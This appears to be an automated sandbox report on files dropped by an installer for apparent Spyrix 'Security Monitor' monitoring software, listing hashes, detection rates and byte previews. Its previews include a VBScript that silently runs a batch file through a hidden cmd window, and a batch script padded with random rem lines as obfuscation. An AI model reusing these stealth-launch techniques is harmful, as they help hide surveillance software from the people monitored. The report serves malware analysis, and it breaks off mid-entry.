Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	225
Entropy (8bit):	4.8759757685468275
Encrypted:	false
SSDEEP:	6:j+q9NqhVIZ3WGpDSRR26RuBFCOoVgfBbtLFu:Kqahm5WGDS3vuvCO0Yq
MD5:	BDFC59070BFBBB84ED2FB09198896A81
SHA1:	D8C6E3A0E847199D16DC237C7BEC47A4148EB3D6
SHA-256:	033C50986AD34B15E737466398CF5E06116E560251040899871D97EC33E03B47
SHA-512:	DAEAEEDB6744464E6B524EACE531B902A066BA2E643F7626142D9444F070261EC9B0D6C4EA4A4C9874646A951D62B2D218B0ACC48E0FAFCF5CB9DEA0CF661E96
Malicious:	false
Reputation:	unknown
Preview:	Set objShell = CreateObject("WScript.Shell")..Dim FilePath..FilePath = WScript.ScriptFullName..FilePath = Left(FilePath, Len(FilePath) - 10)..objShell.CurrentDirectory = FilePath..objShell.Run "cmd.exe /c plist.cmd", 0, False

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-FUVBN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	3588216
Entropy (8bit):	6.632180080317583
Encrypted:	false
SSDEEP:	98304:Q61JrfvgRnMoHNNbwH3MhrHAGeEyU/4BiCklNl5tj0Qh+Pw/YlAKGC9eX2nuZHz7:/rfvgRMoHNNbwH3eTeEyU/4BiCklNl5D
MD5:	D9EA512EE580ECFFEE587A4C3759527F
SHA1:	B91480398B8820436B6634421D5AF628E482B890
SHA-256:	4C493F7DC51A50BBE139993CDB1267DD1F7A33020DF9075ECD7D28FDCE9EC63F
SHA-512:	BA212D929E7EE9478FF141F36950673EABCB31F71C39818D3F6A0A6F7AB57E2676445D815BAF6BC5F97477B4C8D6CBCC07F8051B87CFE800924064B5989CE7C4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 3% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Z\..................(...6..:............(...@..........................07.....\|.7...@... ......................P5.1....`5.......5.X.............6.x.....5..\|............................4.....................0e5.\|............................text.....(.......(.................`..`.data....=....(..>....(.............@.`..rdata....... ).......).............@.`@.bss.....9....5.......................`..edata..1....P5.......5.............@.0@.idata.......`5.. ....5.............@.0..CRT....4.....5......(5.............@.0..tls..........5......*5.............@.0..rsrc...X.....5......,5.............@.0..reloc...\|....5..~...45.............@.0B................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-H0VIM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5041576
Entropy (8bit):	7.897794442025251
Encrypted:	false
SSDEEP:	98304:qsV54zBHy/xGu5//Sjl9WBOo/lKCJPNKr0NPq5Csnm7vkj:Rj49SMuJ/pv9p1gEn2
MD5:	5788EF0F651292941577684F0499B114
SHA1:	81B688AE137BB2F79C44B8A22737CB1416D2C00B
SHA-256:	625BC8352D48D8F0764CAD81AEE94217D4B139DFD00E51DCAA5128F36CD20952
SHA-512:	7A71FD55F60A0B5CE82FF61381E73B38E16B495784739B0580D391FCD652A4C147FF8E558939B1AF4D085F749B6EE42C142D52037CA1BF0B61C64A49C3D2A7C3
Malicious:	false
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....<.f..................,..X................,...@...................................M..........@..........................\|...p.....5...............L..!............E.......................................................................................,......*..................@............@....,.....................@............0....,......H..............@............p... ......................@............P....0..<..................@.................0.....................@.................0.....................@.................1.....................@.................1.....................@....rsrc.........5.....................@................E...&... .............@....d....................G.............@....adata..........

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-HGCLM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text, with very long lines (382), with CRLF line terminators
Category:	dropped
Size (bytes):	44330
Entropy (8bit):	5.402734283969903
Encrypted:	false
SSDEEP:	768:7YLAdR2Vq+XlkbR/JrZrxvBl+EODixVDJjAn4s1QwwwSQffUVzdQWrCZvbXXMs:ULAf2Y+0N5yEOD2DtA4VBaHUVhNChLXR
MD5:	9EF476730ADA792F79ECEC1A17B353DA
SHA1:	1CC1EE286B1AF1612B5C841C446487C8A886FCDE
SHA-256:	93C5A3C337F6377B97960E9EF502B49DBA8B74E1110FB91C87753DF9F512BCC2
SHA-512:	2ADCF1A5BF4C48F37D7CA19868168D5A455A4C259E6DB05958985A5077E5E4AB86E4E3CC5B44FB07D437B1FEAB9FB27C44E2E79F234816B1B49FE2A02BA98054
Malicious:	false
Reputation:	unknown
Preview:	rem gibtqhekf39mgpqap5pxyt2te17k9o7aapwwaxt2uqh9r9ulftm2bkrq1rgk6jho47nxpwejvsj5zxyatyx7v10hl8l8zdaf84vopfithjvmoz48uzg6bg2u..@echo off..rem x2bd8l07ny0pa06la0e5iujfktvb2pxkx20nj52l1zmdoo23hxvkc75pexdzdn0b48fkj0..rem maux0ukutdxt9tbb88k0q2i09t1216lj0qg09sa93u3yvhcp5l51f7aitf1chki5hkjy0c2td23wx9rl9c0y7patqsuftpcx6y0cf1..rem jcqykl0xdea3l63f01mzzek33rov71ykztdzp1wr677iyor7b9ytvp0sxzz0djpcbkrxol0lo2i86lrilpiuhyjnt0cn703qe4rj5xdw2wplwh0dxqnxwkf4..@chcp 65001..rem 90iuh7dibiwuy7yq2e2b2gy600lp47nfpilcfpieauuxvqyrwylx0n50fr2q5azxth0wgzvsbpjk2v..rem z3dfn3scjmyjo9a3frstejhv4ek1ju057o08jay6c2t2fb3ighivzzze3paxxxvd08uxu0eur0a02d8uak0m340rcn0b4fy5bhw36l3jsplk87..rem yszm15xv7y41j1jfecxaynqd0nrzl5pl0pl8sfyxf5zsc299itmk98beo4ie8buu90i7kn760wm62breujvtlwr500gratijbkx0ihkz51gpsm3rzi0p1t0b..@rem UTF-8 encoding..rem c5bsy9uclhsu8v2ionuxjz8..rem kyq0rsrtz3j0lepwuipik3cwyqc36oeagz62c0z7jp2h1ttg00c0n35tfkqiwxxijqj7cxy0q7t7b730ygponok8zdjjlkfgl6omw0pezkdoof9t..rem jnag4uwbmfqgh7y8t4uz46lf5zj18z3s00h2mdyyms

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-I5RH2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.4065994592116873
Encrypted:	false
SSDEEP:	24:4nISm6zYtefo8+9n8Qm8NUF8hxR8Y8Y82KIl:uzmIeefw9PmKx7l
MD5:	8CD9FC7BAA20456A91F3AC4DCEB36D1C
SHA1:	B40529BB8752FACB6C2BA3421FDE5670A45D58E3
SHA-256:	B9E55A391E3C165DE3B3D08C49C7695B350623E37DD71A5A051D90A027939710
SHA-512:	B271657DE4EB639C92877C3C83C0F67254A32D0BCEB48999EABDD9095D5B1804B946E4FDEA217E7BE0F7D1877AA0F9CA7AFEE69576AC9962AFBCFAECDFD1B14F
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..................................................................................................................j...d...d...j..............................................d...p...........p...d...~...............................s...d.........................c...q..........................d.................................d......................q...t...................................y...l...................d...................d...~...................d...................d...v...u...d...d...........................d...................d...d...i..................................d...................d...................................d...d...d...................d.......................k...d...p..........d...................d..........................................d...................d...........................................d...................d...........................................d.......................n...........................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-ISTUF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PC bitmap, Windows 3.x format, 48 x 48 x 24, resolution 2835 x 2835 px/m, cbSize 6966, bits offset 54
Category:	dropped
Size (bytes):	6966
Entropy (8bit):	5.257630429556265
Encrypted:	false
SSDEEP:	96:qJsQ8ADU7ROZX0dzdVry5xFdakbSYiq3G4wcwcOIqS:cCA5ZX4zdc5xFdakbSYiqWCjd
MD5:	B83D443D2415453D2BD5BA3D64233AF0
SHA1:	71D6B4D21842B2E2214CA09A82BD0301BD02796F
SHA-256:	99D10B82F2BD584C5B6554514B1A747EC4DD9D8131D3B397244B3D36084D3CA1
SHA-512:	C7D2A341F45CF5F858EF28341574E26D5F6C4D2F7FCB32F6A490E5F4F1DF6B6E1A7D1B82329162C46F2734EB446298741A3B82F6D961AC82C376FDF767FA0F22
Malicious:	false
Reputation:	unknown
Preview:	BM6.......6...(...0...0...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j..U..O.z>.z>..P..V..m................................................................................................................c.{4..B..P..b.e.v.v.f..b..Q..C.{5..d................................................................................................K..D..`.y.................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-J5DND.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	3588216
Entropy (8bit):	6.632180080317583
Encrypted:	false
SSDEEP:	98304:Q61JrfvgRnMoHNNbwH3MhrHAGeEyU/4BiCklNl5tj0Qh+Pw/YlAKGC9eX2nuZHz7:/rfvgRMoHNNbwH3eTeEyU/4BiCklNl5D
MD5:	D9EA512EE580ECFFEE587A4C3759527F
SHA1:	B91480398B8820436B6634421D5AF628E482B890
SHA-256:	4C493F7DC51A50BBE139993CDB1267DD1F7A33020DF9075ECD7D28FDCE9EC63F
SHA-512:	BA212D929E7EE9478FF141F36950673EABCB31F71C39818D3F6A0A6F7AB57E2676445D815BAF6BC5F97477B4C8D6CBCC07F8051B87CFE800924064B5989CE7C4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 3% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Z\..................(...6..:............(...@..........................07.....\|.7...@... ......................P5.1....`5.......5.X.............6.x.....5..\|............................4.....................0e5.\|............................text.....(.......(.................`..`.data....=....(..>....(.............@.`..rdata....... ).......).............@.`@.bss.....9....5.......................`..edata..1....P5.......5.............@.0@.idata.......`5.. ....5.............@.0..CRT....4.....5......(5.............@.0..tls..........5......*5.............@.0..rsrc...X.....5......,5.............@.0..reloc...\|....5..~...45.............@.0B................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-JF9SV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 7 icons, 256x256 with PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced, 32 bits/pixel, -128x-128, 32 bits/pixel
Category:	dropped
Size (bytes):	110709
Entropy (8bit):	3.109239298068923
Encrypted:	false
SSDEEP:	384:yy+9VgmfdFYGZaAvurTUh2Asjh74zcW3X0+JaRCBiwmXtmdP:A9OmlFYGZaAG06V74QWNaRCEfwP
MD5:	7E0A58E864F4BD416D0B62A8D90FEBFE
SHA1:	B23CDD7F9AEBF120582C2C2C246F17E846521CF9
SHA-256:	D91EB200D2E6623A83FA036C8446455B3D56067939C027AB83BF7957D6B5D5FF
SHA-512:	0AE59E850429F7BA30C787B38FDAEC896710F4BD4D12F749EFB6C79AE89070CAB24182E05E54BC6E8D2EFA8C29CC420B892A1A583C9AD9A7EA446F095F5E944D
Malicious:	false
Reputation:	unknown
Preview:	............ .o!..v......... .(....!..@@.... .(B...*..00.... ..%..5l.. .... .............. ............... .h........PNG........IHDR.............\r.f..!6IDATx...\|U....37+.DPvd.A..(T....V[[..$lj......E._....Zm.H.bm...........Ev..YC ..y.{M.k..r33.....~.p.9..<3.....z.h....0.[H.=%E..../\6...D......0,....aX.,.&..X.L.a.......`.0.....`".....D......0,....aX.,.&..X.L.a.......`.0.....`".....D......0,....aX.,.&..X.L.a.......`.0.....`".....D......0,.... ..e....D.y4X...@.z1..s.b&..GX.CZ9.........DN...3A.....p......a.X........,..GX..`.0>..........%X.....,..`\|..`....#,.K....a.X........,..GX..`.0>..........%X.....,..`\|..`....#,.K....a.X........,..GX..`.0>..........%X.....,..`\|..`....#,.K....a.X........,..GX..`.0>..........%X.....,..`\|..`....#,.K....a.X........,..GX..`.0>..........%X.....,...." . H).........,.?H(`.n`...;........ 4.....][..u.(..Z..#nXX..`...`...ye..._.TKA..0..0..D^...4.,.K...3\|..F..B`..._.z..r2......Nn&C.U`.X..`....>..wt?_...K}^[....U....9..[X.X..`......_,.....s.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-M06NF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	826775
Entropy (8bit):	6.520580307753605
Encrypted:	false
SSDEEP:	24576:QJCoOO8Mh2X8Vy0JHfv3kDpigeLKh2R6fFQVp:QL8MFVym/kDpitLKZy
MD5:	16A1612789DC9063EBEA1CB55433B45B
SHA1:	438FDE2939BBB9B5B437F64F21C316C17CE4A7F6
SHA-256:	6DEAEC2F96C8A1C20698A93DDD468D5447B55AC426DC381EEF5D91B19953BB7B
SHA-512:	D727CE8CD793C09A8688ACCB7A2EB5D8F84CC198B8E9D51C21E2DFB11D850F3AC64A58D07FF7FE9D1A2FDB613567E4790866C08A423176216FF310BF24A5A7E3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...TM<W....*......!.....j.........................a.........................`.......#........ .........................................x.......................@/..................................................................................text...,i.......j..................`.P`.data................p..............@.`..rdata..............................@.`@.bss..................................`..edata...............f..............@.0@.idata..............................@.0..CRT....,...........................@.0..tls.... ...........................@.0..rsrc...x...........................@.0..reloc..@/.......0..................@.0B/4........... ......................@.@B/19.........0......................@..B/31..................j..............@..B/45.................................@..B/57.................................@.0B/70.....i.... ..........

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-NE9RG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1308909
Entropy (8bit):	6.226978823759581
Encrypted:	false
SSDEEP:	24576:8tdAm9DUi/CR3wCkCiRgoG7hBaHkbEXXeG/jFt54DTx9KJ:kqTytRFk6ek14hk
MD5:	E7AB51FCD6A4B56B17A6D7019743346A
SHA1:	0AC79F07195B6D6C25D64864C762E5910D8DC52F
SHA-256:	3BA57A14C77AD692AD21D6502ED32A9FFD1E23CF908F70A4E3E13635DEBED246
SHA-512:	1F2CAA370B45ACCEF65E1863EEC48D02395349D44FDED44E9FE3652F5CDA05A3DC271295550EC9905826F964D20E9774793DACA0937F5D79308154E060AFD808
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 4% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......W............................l........ ....@..........................p............@......@..............................@8...0...2................................................... .......................................................text............................... ..`.itext.............................. ..`.data...h0... ...2..................@....bss.....a...`.......0...................idata..@8.......:...0..............@....tls....<............j...................rdata....... .......j..............@..@.rsrc....2...0...4...l..............@..@....................................@..@........................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-NIDOR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=7, xresolution=98, yresolution=106, resolutionunit=2, software=paint.net 4.0.10], baseline, precision 8, 320x240, components 3
Category:	dropped
Size (bytes):	3095
Entropy (8bit):	6.729660321273714
Encrypted:	false
SSDEEP:	48:u8/Pc+/bx0uERAGX6j9UCqgD97QB2xdddddddddddddd5a:u8Hc+zlEJX6lQcW
MD5:	499B10F1F3AE7CA6ACFBA3735EE75F4C
SHA1:	D5CFC9E2DC00A443052765491A915A503EF9C800
SHA-256:	EAF22AE8407F8DD0AC9F4FA7885A2DA8AFE288B09B2C4B87F6F17C5D50F2A988
SHA-512:	F29D30CBB427598E8577606791AF3C8277391BBF1AD7964217EAF78B807A6DFC9B99846F128A5F23BE7A409A3F7DAD81F3E5FC9B2CD15C12742A98A45A7CDDB6
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`......Exif..MM..................b...........j.(...........1.........rQ...........Q...........Q..................`.......`....paint.net 4.0.10.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............************************************************........@.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-OQK9A.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows 95 Internet shortcut text (URL=<"https://www.spyrix.com/purchase.php?from=sfk_uninstall">), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	80
Entropy (8bit):	4.849870364976637
Encrypted:	false
SSDEEP:	3:HRAbABGQYmjzcSL0dyTKVQXGNErnVIXKobn:HRYFVmjzjL0dyTK6XaErVI9
MD5:	7B7C177B6FA25296550B3643448FCA00
SHA1:	FA9744B1844CA32600EE661081CA6BBFD1B317D4
SHA-256:	F7B25ED414E8005EDDBBEA787FA3594C798FC7F683E77835DAA33635A395CE51
SHA-512:	5F61FF8894C530B21F7E4646798ECFA65D88FF55AF807280AA16233818E0F0043EBE6BF764C48BEA4C160EDAA3800BD9894C1BD2D01370F7200CD5E718C7B74A
Malicious:	false
Reputation:	unknown
Preview:	[InternetShortcut]..URL="https://www.spyrix.com/purchase.php?from=sfk_uninstall"

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-SE2BH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	330752
Entropy (8bit):	6.515569416355077
Encrypted:	false
SSDEEP:	6144:67uz8VUGgQvLpVZ0hRBbV94fT5fyEH1iiDDR/WzdHAjdqqI4PFtK9S7/Q0RHK9mo:uuwUGggLpVZ0NbV9CNfyEHAiDDR/Wzdt
MD5:	CB66A1FEC9236CD46E2A3E5A00D887A5
SHA1:	531113059786F73A8C2376E08A12E62970B41E51
SHA-256:	73234A2B168E2CA92B2E09346C48FB85CF10085FAF76D7923257986B3F528E1C
SHA-512:	F5E3AD6B8FD6DCE55C0596BAF6961F86CD98598075899C02FB0B5C32FAF26FEA80C7C348C08D5D5FE41D89D61D869CF27AB230962A896D085206A895881CD926
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........hN.. ... ... ...[... ..q.... ..q.... ..q.... ...!.>. ..q..>. ..q.... ..q.... ..q.... .Rich.. .........................PE..L...L*.O...........!.........b......+........................................`.........................................p$...y..<.......8.................... ..D+...................................u..@...............P............................text...P........................... ..`.rdata..@...........................@..@.data...D\.......@..................@....rsrc...8...........................@..@.reloc...1... ...2..................@..B................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-T1Q7P.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	38533120
Entropy (8bit):	6.659117982180381
Encrypted:	false
SSDEEP:	393216:lw4FxslQp+QsIjKvL/RouclpOaPdvmtzzGnDHmgRBbxr5U0zvOaHxA2KZc4P9QpC:lw4fslOPKVouExr5U0zGaHxAJkuC+d7
MD5:	63C6697F6F8C4DE12A18633A65A6DD50
SHA1:	442715CE26B000A34E25DBE9BED05863C2488096
SHA-256:	2E92C42276AEA8D407AE41B3D8B63E6C39F33EC8D1CEEB4C632B54073B56BDA3
SHA-512:	50B6035BA8C2B4F871CD2CEF057A4CF21433999E6EBC2566DD92843D4F3DFFEF00198FA80F3D34424FAF049BEAFAFA637DB1FD061251A7D10FC82735E0313A92
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........................&...>J.............P....@..........................P........L...@... ......................0..G........C...........................p..(...........................L-.......................................................text...h...........................`..`.rodata.L..........................`.``.rotext..............t.............. .P`.data...\|U...P...V...*..............@.p..rdata...k.......k.................@..@.bss........@2.......................`..edata..G....0........2.............@.0@.idata...C.......D....A.............@.0..CRT....4....P........B.............@.0..tls.........`........B.............@.0..reloc..(....p........B.............@.0B........................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-T6149.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	457728
Entropy (8bit):	6.59955980299879
Encrypted:	false
SSDEEP:	12288:oYP3U+DowYPZOobyfwOgM2evuRTQ8r5e:3knwGZO4ZBevgTQ
MD5:	5E952525D9379E001F1714DE9E87B50D
SHA1:	45A1F15E62D3BEBF80BFDE69B992448DA09369FA
SHA-256:	81DE9F4EE9164358163C7F2200522E5C518D649ED6868CC6F27DB2B831F42DA4
SHA-512:	FCCEFD5CEFA59AAE1CCF1DF61907720BFB753AA1A6094DCB9225BA0110172103980C77708B9BB36F9D329B890ECC3F279AEE325A780308E9AC127EDC99CF8D0D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 3%, Browse
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B..................................... ....@..............................................................................(...0...L.......................e......................................................\............................text............................... ..`.itext.............................. ..`.data...T.... ......................@....bss.....5...@...........................idata...(.........................@....edata...............H..............@..@.reloc...e.......f...J..............@..B.rsrc....L...0...L..................@..@....................................@..@........................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-UVC43.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows 95 Internet shortcut text (URL=<"http://www.spyrix.com/spyrix-products.php?from=sfk_install">), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	88
Entropy (8bit):	4.920531868608183
Encrypted:	false
SSDEEP:	3:HRAbABGQYmjziJS40dyTKWV7GGWyXKokJr:HRYFVmjzic40dyTKWV7WyuV
MD5:	5691CB02970E3D46042CD411DDD33C42
SHA1:	5F98A89B9505821B32D1A9B9362A9A8881DF2790
SHA-256:	9C16F6639225765BAA8F23C7B37724B0B3E4837B41F90F612C81AEEDDE79CF68
SHA-512:	A36A6B642A23CA333055602214253D4616FB94CEFC3A89614AE8FD314D93E7887B4FDFD394C9D60BA1474A5AE4EF45EE5639E0F84197FBD4D25CE896FDEB29A6
Malicious:	false
Reputation:	unknown
Preview:	[InternetShortcut]..URL="http://www.spyrix.com/spyrix-products.php?from=sfk_install"....

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lame_enc.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	364544
Entropy (8bit):	6.479003452408153
Encrypted:	false
SSDEEP:	6144:fmptxuYgIrlmSqUM21IU5KWieEsdk5aKa1CZHDAO+OYb:2/uYgIrA/pU548AaKa1QxYb
MD5:	D37B9AE44F3B37F41295334DE9EF14C9
SHA1:	4FD95C78873CE84DDF9FFA755504F5279C4A3332
SHA-256:	5BA50A315B9C02CCCD629FFBBF12A5564FD0A557FECD0582D165FE04BE3D850B
SHA-512:	AF5B2D2321E81E0B407B74B4092E190A5081D248BDDF21A92A7251E5CF6C19DFDECB09E35BABA32D04C4AD7CD8659C568208B3314E37159035E1F61BE6AB387E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 4% Antivirus: Virustotal, Detection: 1%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............m]..m]..m]...]..m]...]..m]...]..m]...]..m]B.0]..m]..l]..m]...]..m]...]..m]...]..m]Rich..m]................PE..L....:.J...........!...............................................................................................@%......T...<.......................................................................@...............8............................text............................... ..`.rdata...h.......p..................@..@.data...\B...@... ...@..............@....reloc...(.......0...`..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\libeay32.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1274880
Entropy (8bit):	6.836546460752662
Encrypted:	false
SSDEEP:	24576:te0Xn1+KpPCrpxqqyfATvxlLVNqRadDqef2BLbIEnp1VWMVRdzd:tJ0frxRqRIDXfuI2p1FVRdzd
MD5:	D66922B7D10F688564B1CFB25B2681EC
SHA1:	E97422EF6B23366FCD196DF334BD111FEBF2E880
SHA-256:	E0E0697DBCD35C5C8E6E0E19C8A4186F7902D95227E8D7C0AE1C90E0E56370A1
SHA-512:	5BCDB4D574E95B699EDEC336CA596C1D9446A648D27AD2B32E0D5C14F301F2EF783AE53062D9FE9E6FA956BF04A0B4F4F1B845B5194A72B2F9EAED4D9E9C0EBC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........Q..v...v...v.......v.......v...w.>.v..=....v...v...v.....r.v.......v.......v.......v.Rich..v.........PE..L...L*.O...........!.....4...\|.......].......P.......................................%.........................................x.... ..8....................0......pR..................................@............P..4............................text....2.......4.................. ..`.rdata.......P.......8..............@..@.data.......p...p...T..............@....rsrc...8.... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic.lng (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	21327
Entropy (8bit):	4.95775402864365
Encrypted:	false
SSDEEP:	384:UyK3wUGkRqqS7M2IgCEAIAiIYNwCPjuPTyySHaNM7lcomkn3J:UhgqSUdEpNw+jMTHS6eJ
MD5:	C61869FD95FCAA4887007EE40C1AEF78
SHA1:	5B2E9E425C48F37A3C6F2AFCFD35569BE240FB0C
SHA-256:	4EBE5322D84F71C59E806B8BD29D3C53D3FDA1C82238084FBAA8852DE668E14E
SHA-512:	815D5C77AF6F439D5FD3C254B6F1957537A30507D4BB40CB5ADB6FDC817D2389BD5B8D69F7AE67AF87C1F42B7A5799E0F82A0A3A0C543CFF46E72B74D867F9A8
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="..."..tbStartHint="..... ......."..tbStop="...."..tbStopHint="..... ......."..tbFind="....."..tbFindHint="..... .. ....... ......."..tbSetting="........."..tbSettingHint="....... ........"..tbAbout="..."..tbAboutHint=".../...... ......."..tbHomePage="...... ........"..tbHomePageHint="...... ... ...... ........"..tbToday="....."...tbTodayHint="...... ... ... ....."..tbHide="....."..tbHideHint="..... ..... (.. .... ... .. .... ......)"..tbMinimize="....."..tbMinimizeHint="..... ... ......"..tbExit="...."..tbExitH

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\SN.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
